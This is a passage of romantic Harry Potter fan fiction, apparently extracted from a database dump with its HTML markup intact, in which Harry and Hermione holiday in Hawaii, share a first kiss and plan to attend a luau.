</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Beaming at Harry, she turned to him and said, &#8220;I&#8217;ve never seen something so beautiful.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I have,&#8221; Harry said, putting an arm on her shoulder. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt her face go red. &#8220;Harry!&#8221; she said, playfully turning around and hitting him on the shoulder. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ow,&#8221; Harry said. &#8220;You think you&#8217;d be able to take a compliment.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It took awhile to pass through customs and to get their luggage but they were finally on their way to the hotel. It was one of the smaller resorts on the island and they spend the majority of the ride to the hotel looking gleefully out the window. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know these people can tell we&#8217;re tourists,&#8221; Hermione said to Harry in the car. &#8220;We&#8217;ve got that mouth open thing down pat; gives us away everytime.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just promise me we won&#8217;t wear fanny packs and carry huge cameras,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, I didn&#8217;t tell you this, but I invited Colin Creevey along to serve as our official photographer. He&#8217;ll be joining us shortly,&#8221; Hermione said, turning again to look out the window. She wanted to check out the sights, but she also wanted to hide her laughter. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t joke about that, Hermione,&#8221; Harry said. &#8220;You are joking, right? Because I could see him doing that.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Hermione said, busting out in laughter. &#8220;I am joking, but you should have seen your face when I said that. Priceless.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You will pay for that one, Granger,&#8221; Harry said. &#8220;You won&#8217;t know when, you won&#8217;t know where, but you will pay for that one.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m shaking in my boots, Harry,&#8221; Hermione said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry couldn&#8217;t help yawning as they continued the ride to the hotel. Hermione saw this and snickered. &#8220;Jetlag, huh?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Harry said. &#8220;A little. You seem fine, though. What gives?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I made up a potion before we left that does away with jetlag. When I went in the bathroom earlier, I took some of it,&#8221; Hermione said with a smile. &#8220;I feel 100% better.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;ve been holding out on me,&#8221; Harry said, yawning again. &#8220;You gonna let me have some of that, too.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, it&#8217;s the least I can do,&#8221; Hermione said.&nbsp; She took a small flask out of her purse and gave it over to Harry. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This smells terrible, Hermione,&#8221; Harry said, taking a whiff. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, it&#8217;s either that or sleep for two days fighting off jetlag. Your choice,&#8221; Hermione said, smiling at him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; he said, taking a quick swig from the flask. His face contorted into a grimace as the taste of the potion hit his tongue. &#8220;Yum.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You have to admit it does taste better than the Polyjuice Potion,&#8221; Hermione said, smiling at him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t think I&#8217;d go that far,&#8221; Harry said. &#8220;You know you could have added some peppermint or some chocolate to it to make it taste a little better.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione laughed. &#8220;Yeah, but then I couldn&#8217;t have seen the look on your face when you took a drink of it. That was pretty priceless, too.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry just looked at her and smiled. He couldn&#8217;t remember when he&#8217;d been this happy. He impulsively reached down and took Hermione&#8217;s hand in his. She looked surprised at first, but smiled at him and rested her head on his shoulder. She, too, couldn&#8217;t remember when she&#8217;d been this happy. It had been a long time. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The hotel was amazing. It was perched right on the sands of&nbsp; Waikiki Beach. The desk manager gushed about how every room had either a partial or full ocean view from the room&#8217;s lanai.&nbsp; He assured Harry and Hermione that their room had a full ocean view. Hermione couldn&#8217;t help but feel nervous as the bellman led them to their room. Their room. She hadn&#8217;t said anything, but she hoped Harry couldn&#8217;t tell how surprised she was. She&#8217;d been sure that they&#8217;d have had two separate rooms. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Here you are, Mr. Potter,&#8221; the bellman said. &#8220;Room 1023.&#8221; He opened the door up and ushered Harry and Hermione inside. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where did you want the bags, sir?&#8221; the bellman asked Harry. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Which room do you want Hermione?&#8221; he asked her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled. &#8220;It doesn&#8217;t matter.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shook his head. &#8220;Yes it does. You&#8217;re choice. And this young man here isn&#8217;t going anywhere until you choose.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione laughed again. &#8220;Um, I guess this one.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Great choice, ma&#8217;am. It&#8217;s the one with the ocean view,&#8221; the bellman said. He went into the room and placed Hermione&#8217;s suitcases inside. Hermione followed him and had to agree. It was a beautiful room. There was a huge queen size bed with a brightly colored duvet. She clapped her hands when she saw the large television and stereo system that were also housed in the room. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re bathroom is right through those doors, ma&#8217;am,&#8221; the bellman said. &#8220;And you have a spa sized bathtub in there, as well. You&#8217;ll also find a robe and towels. You can call down to the desk if there&#8217;s anything you need.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; Hermione said. &#8220;Wow.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The bellman smiled. &#8220;I hope you enjoy your stay.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione followed him out of the room. Harry had already gone ahead and placed his bags in the other bedroom. She watched as Harry gave the bellman a tip and showed him the door. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So what do you think?&#8221; Harry asked her when they were alone. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do I think?&#8221; Hermione said. &#8220;This is amazing. How did you find out about it?&#8221; <br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sirius,&#8221; Harry said. &#8220;He said that this was the place to stay. I was kind of upset actually that he went to a place like this and didn&#8217;t tell me.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, we get to experience Hawaii together,&#8221; Hermione said, smiling. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, we do,&#8221; Harry said. &#8220;So what did you want to do first? What?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had begun to laugh. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing,&#8221; she said, trying to stifle her giggles. &#8220;It&#8217;s just that I thought we&#8217;d be staying in the same room. I had no idea that you&#8217;d arranged for two bedrooms. It&#8217;s just nice, that&#8217;s all.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, of course,&#8221; Harry said. &#8220;I&#8217;m not trying to seduce you or anything.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re not?&#8221; Hermione said, pretending to be shocked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, if I was planning to do that, I&#8217;d have probably checked us into the cheaper hotel with mirrors on the ceiling and vibrating beds and stuff like that,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know that&#8217;s what I really wanted,&#8221; Hermione said, smiling. &#8220;I guess this dump will have to do.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good to hear,&#8221; Harry said. &#8220;So, as I was saying, what do you want to do first?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione thought. She&#8217;d never been to Hawaii before and she knew that there was a number of things that they could do. She noticed for the first time that there was a guidebook on the coffee table. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh my gosh,&#8221; Hermione said, thumbing through the book. &#8220;Harry. We have to go to the aquarium. And look at this, the U.S.S. Arizona Memorial, you know Pearl Harbor? And the Iolani Palace.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The what?&#8221; Harry said, sitting down on the couch. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;the Iolani Palace,&#8221; Hermione said, excitedly. &#8220;According to this, &#8216;The \'Iolani Palace, built in 1882 by King David Kal&#228;kaua, is a beautiful blend of European-style architecture and native Hawaiian artistry. The palace served as a royal residence first for Kal&#228;kaua and later for his sister and successor, Queen Lili\'uokalani, until she was overthrown by a group of American businessmen in 1893. Afterwards the palace served as the Capitol Building for the Territory, and later State, of Hawaii before being restored in the 1970s and opened for docent-guided tours&#8217;. Oh, we are so there.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry laughed. &#8220;Leave it to you to turn this into a historical field trip.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sat down on the couch and closed the book. &#8220;I know. I&#8217;m sorry. I just get excited about stuff like that.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m kidding,&#8221; Harry said. &#8220;We can do whatever you want.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Really?&#8221; she said, looking up at him and smiling. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; he said. &#8220;And it might be really cool.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yay!&#8221; Hermione said, clapping her hands together. &#8220;And we have to go snorkeling. I have always wanted to do that.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now that definitely sounds doable,&#8221; Harry said. &#8220;So, what are you waiting for, Miss Granger? Let&#8217;s get started.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They spent that first day doing a little bit of everything. They grabbed a quick brunch in the hotel restaurant before heading off to go snorkeling. They both enjoyed this immensely. What Harry enjoyed most was seeing the look of excitement, enjoyment and exhiliration that this activity brought to Hermione. He could tell she was enjoying every minute of this and he had to admit that he was, too. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They were in Pawai Bay, a protected marine reserve. After a quick instruction class, they took a boat out and dove into the crystal clear water and saw a thousand brilliantly colored tropical fish, sea turtles and dolphins. They&#8217;d even had the opportunity to swim with the dolphins, which Hermione and Harry enjoyed immensely. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can&#8217;t ever remember having so much fun,&#8221; Hermione said, afer they&#8217;d arrived back on the mainland. &#8220;That was amazing.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know,&#8221; Harry said. &#8220;It&#8217;s good to see you smile like that.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, how could you not?&#8221; Hermione said. &#8220;That was the most amazing experience. I never in a million years imagined that I&#8217;d get the chance to do something like that. We have to dothat again before we leave. Promise me.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We will,&#8221; Harry said. &#8220;Remember this is your world, I&#8217;m just lucky enough to live in it.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rolled her eyes. &#8220;Well, we can&#8217;t just keep doing what I want. We have to do something that you want to do.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry laughed. He stepped a little closer to Hermione and wrapped a towel around her. &#8220;We are doing exactly what I want to do. Be with you. Nothing could be better than that.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled. &#8220;Well, there is one more thing I&#8217;d like, if it&#8217;s not to much to ask.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s that?&#8221; Harry asked her with a smile. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This,&#8221; she said. She leaned in and kissed him softly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wow,&#8221; he said, when they finally broke away from the kiss. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wow,&#8221; Hermione echoed. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They stood there for a few moments just looking at each other. An island man came up to them and offered to take their picture. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You should remember this moment,&#8221; he said, holding up his camera. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How much for the picture?&#8221; Harry asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Five dollars,&#8221; he said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you want to do it?&#8221; Harry asked Hermione. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; she said. &#8220;I definitely want to remember this. Come on.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They stood there on the beach posing for the picture. Hermione, with her navy blue bikini and sarong and Harry in his green swimming shorts, with their arms wrapped around each other, awaiting the man to take their picture. At the last minute, Hermione took off her sunglasses and urged Harry to do the same and they smiled brightly as the man put the camera to his face. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Say abracadabra,&#8221; he said. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They both began to laugh and never-the-less said those words and smiled brightly as the flash from the Polaroid camera went off. The man presented them with the photo a couple of seconds later and exchanged money with Harry for the photo. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You make a great couple,&#8221; the man said. &#8220;Enjoy the rest of your vacation.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They watched him leave and Harry laughed. &#8220;I think we were just taken advantage of. You know, the whole tourist thing.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was still looking down at the picture. She watched as Harry gathered up their belongings and smiled at him and looked back down at the picture. &#8220;It was worth it, though. Look.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He dropped their bag and looked at the picture. &#8220;Yeah,&#8221; he said. &#8220;Best five dollars I&#8217;ve ever spent. Now the only thing we have to decide is who gets to keep the picture.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well,&#8221; Hermione began. &#8220;We&#8217;ll discuss that later.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So you ready to go on to the next tourist attraction?&#8221; Harry said, picking the bag back up. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Hermione said, taking one last look at the picture before placing it in her tote bag. &#8220;I&#8217;m with you.&#8221;&nbsp; </p> '),
	(255, 16, ' <p>Authors note: I hope ya&#8217;ll like this chapter. A certain pair of names make a cameo appearance in here&#8230;hope you like that touch as well. This chapter is a lot longer than previous ones and I think you will see why, and hopefully like why&#8230;enjoy! Read and review, please! </p>\n\n<p>&nbsp;</p>\n\n<p>Chapter 16</p>\n\n<p>Two of Hearts</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The next couple of days were spent enjoying the sounds, sights and weather of The Big Island on Hawaii. They had kissed again, three more times to be exact, but it hadn&#8217;t gone beyond that. At the end of each night, they&#8217;d each reluctantly retreated to their separate bedrooms. </p>\n\n<p>The first day had been spent snorkeling and enjoying the beach. The second day, they&#8217;d gone the &#8220;educational route&#8221; as Harry had jokingly referred to it. They had began the day early, starting off with a visit to the Waikiki Aquarium and then headed off to the Lyon Arboretum where Hermione had said more than once that Professor Sprout, their old Herbology professor, would have loved to see in person. They closed out that second day with a visit to Pearl Harbor and the U.S.S. Arizona Memorial. </p>\n\n<p>&nbsp;On that third day, they&#8217;d decided to take it easy on the beach where they&#8217;d swam and laid out in the sun. Harry had tried, but failed to convince Hermione to join him in the water again. </p>\n\n<p>&#8220;No,&#8221; Hermione had said. &#8220;I&#8217;m going to sit here and just enjoy the sun and work on my tan.&#8221; </p>\n\n<p>&#8220;Come on,&#8221; Harry said, pulling at her arm. &#8220;I promise I won&#8217;t throw you in again.&#8221; </p>\n\n<p>&#8220;Yeah, that&#8217;s what you promised earlier, and despite my screams, you did so anyway, so if you want to go in the water, I won&#8217;t stop you, but I&#8217;m going to just lie here and veg out,&#8221; Hermione said. &#8220;And that&#8217;s final. Now off with you to the water.&#8221; </p>\n\n<p>&#8220;Spoiled sport,&#8221; Harry said, and ran off to the water. Hermione laughed as she watched him. She couldn&#8217;t ever remember being so happy. That wasn&#8217;t right. She could remember. The last time had been with Harry. She never wanted this feeling or this time to end. She knew, however, that they couldn&#8217;t stay here forever. They would eventually have to face the music and return home. Although she was having a wonderful time, a part of her couldn&#8217;t shake the thought of Ron. Although he was a thousand miles away, he was still here. He was between she and Harry. Ron was the reason she and Harry hadn&#8217;t done anything beyond kissing since they&#8217;d arrived in Hawaii. He was the reason, they&#8217;d slept in separate bedrooms. </p>\n\n<p>It had been very hard to stay away from Harry like that when the most natural thing in the world would be to go to him. She wanted nothing more than to be close to him like that again. She could tell that he wanted that, too. He hadn&#8217;t said it, but she could tell. When you&#8217;d known someone as long as she&#8217;d known Harry, you didn&#8217;t always need to say something to get your point across.</p>\n\n<p>&nbsp;It kind of reminded her of a song she&#8217;d always liked by Alison Krauss, &quot;<i>When You Say Nothing at All.&quot;</i> Hermione reached into her beach bag and pulled out the Walkman she&#8217;d brought along. She put the headphones on and pressed play as the familiar notes of the song began to play. As she listened to the song, she recalled the number of times, she and Harry had been able to communicate with each other without saying a word. So much could be said in a look, in a touch, with a smile. <i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p>She&#8217;d never had that kind of connection with another person, not even with her parents. She didn&#8217;t know if she could ever explain it to anyone else or even to herself, but that&#8217;s what it was---a connection. A connection that had survived and strengthened despite the years apart and despite the different people and experiences that had come into and out of their lives. </p>\n\n<p>Hermione hadn&#8217;t wanted to admit it to herself, mostly out of guilt. She loved him. She loved him as she had never loved anyone else in her life. Loving him was natural, like breathing. It wasn&#8217;t something she had thought about or wondered about, she just knew it. She always had, she guessed. She remembered that time when she&#8217;d first stumbled upon he and Ron on the train to Hogwarts their first year. She&#8217;d been utterly fascinated by this boy that she&#8217;d spent that summer reading about. </p>\n\n<p>She thought back to that girl that she used to be. So ready to prove to herself and to anyone else that she was the best; that she was the smartest. Until she&#8217;d met Harry and Ron, she hadn&#8217;t given much thought to friendship and all the things that went along with it. Truth be told, she&#8217;d never really had friends before the two of them. She loved them both, but in such a contrasting and different way. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She didn&#8217;t have much time to think back any more on that or anything else, as the song on the CD came to an end. Hermione sat up on her beach towel and took the headset off. </p>\n\n<p>&#8220;Good timing,&#8221; she whispered to herself as she saw Harry running up to her from the water. &#8220;You weren&#8217;t sleeping, were you?&#8221; he asked, taking the towel she handed him. </p>\n\n<p>&#8220;No,&#8221; she said. &#8220;Just lying here, thinking and listening to music.&#8221; </p>\n\n<p>&#8220;Anything good?&#8221; he asked, taking a seat. </p>\n\n<p>&#8220;Yeah,&#8221; she said, smiling. &#8220;Well, did you enjoy your swim?&#8221; </p>\n\n<p>&#8220;Yeah, but not as much as I would have if you&#8217;d come with me,&#8221; he said. &#8220;So what&#8217;s on tap for tonight?&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Um, I heard that the hotel&#8217;s throwing a luau,&#8221; Hermione said. </p>\n\n<p>&#8220;A what?&#8221; Harry asked. </p>\n\n<p>&#8220;You know a luau,&#8221; Hermione said. &#8220;A traditional Hawaiian luau. We have got to go, Harry. If we went back home and told everyone we&#8217;d been to Hawaii and not gone to a luau, well it&#8217;d be like going to Paris and not going to see the Eiffel Tower. As tourists, it is our duty to go to a luau.&#8221; </p>\n\n<p>&#8220;Okay,&#8221; he said. &#8220;Well, we better go get cleaned up if we&#8217;re going to make this luau.&#8221; 